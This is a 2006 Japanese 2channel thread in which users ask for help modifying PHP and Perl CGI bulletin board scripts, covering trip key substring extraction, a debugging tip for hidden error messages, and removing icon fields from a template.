967:2006/03/28(火) 13:21:34 ID:???
P.S.
改造を丸投げしてるわけではありません(´・ω・`)
あっそ自分でやれ(´・ω・`)
970 :
967:2006/03/28(火) 14:16:09 ID:???
(´・ω・`)ショボーン
>>967 > ややこしくて自分じゃむりぽです
↑要するに丸投げw
972 :
967:2006/03/28(火) 16:42:45 ID:???
では言い方を変えまつ。
トリップキーの変数から二、三文字目の文字列を抽出する際の
アドバイスをいただけませんか?('A`)
974 :
967:2006/03/28(火) 16:53:51 ID:???
>>973 「substr」でぐぐったら、文字列関数で抽出する方法を発見できますた。
ありがとうございます。
今はPC以外からアクセスしてるんで、後で試してみます〜
975 :
967:2006/03/28(火) 17:44:55 ID:???
出来ました〜ヾ(*´∀`*)ノキャッキャ
激しく感謝|゚U゚ヽ|
977 :
恢:2006/03/29(水) 02:15:49 ID:FRkVLrZQ
イタイ、イタイヨ
頭痛が痛いよーw
オレは足が痛い〜w
痛てぇ〜w
>>980 http://pc8.2ch.net/test/read.cgi/php/1104624784/2より エラーメッセージについて
500エラーやInternal Server Errorって言うのは、エラーメッセージじゃないから、そんなもん書いても問題解決に繋がらない。
ちゃんとしたエラーメッセージを書くように。
エラーメッセージはログに記録されている。
ログのありかがわかんないときは、サーバの管理人に問い合わせる。
もしくは、モジュールが入っている事が前提だが、
2行目に
use CGI::Carp qw(fatalsToBrowser);
の一文を挿入する。
したらエラーメッセージがブラウザに表示される。
あとは修正すればよい。
自分で修正できなかったら、エラーメッセージも書いて質問しる。
※ 共有サーバでいきなりテストせず、自宅のPCでテストできる環境を作れ
>981さん
エラーログのありかが分からなかったので、あちこち探してみたのですが
見付かりませんでした。
問い合わせても返事がくるまでに1週間ほどかかってしまうらしいし、
自分の理解レベルが低くてお話にならないと分かったので、丸投げスレへ
移動してそっちでお願いしてみようかと思います。
ありがとうございます。すみませんでした。
985 :
nobodyさん:2006/03/32(土) 04:50:31 ID:WJnup8Dd
2006/03/32(土)
すみません質問させてください
レッツPHPのPHP I-BOARDを改造して欲しいのですが
同スクリプトをIconをなしで動かしたいのですがskin(skin_main)のIconスクリプトを削除したら
htmltemplate.inc(22) : eval()'d code on line 225
と出ました、225行目がないのでどこを触ったらよいのかわかりません
どなたかお願いいたします
988 :
987:2006/04/02(日) 21:42:36 ID:rIu0RmGr
言葉足らずですみません、テンプレ忘れていました
【. PHP名 .】 PHP-I-BOARD
【配布先URL】
http://php.s3.to/bbs/bbs8.php 【ヘルプ内容】 Iconの欄を削除して表示させたいです
試した事はskinファイルの中の(skin_main.html)の80行目のIconスクリプトを削除
してUPしたらhtmltemplate.inc(22) : eval()'d code on line 225というエラーが出ました
どうすればできるのかよろしくお願いします
>>988 削除する場所間違ってるんじゃ?
Iconは
<!--{each icon}-->
<option value="{$icon/file}"{$icon/sel}>{$icon/name}</option>
<!--{/each}-->
でのような気がする
まぁテストしてないからあれだけど・・・
エラーは<!--{/each}-->を変換しようとしてるっぽいけど_だよと
いってる感じかな?
うめとくか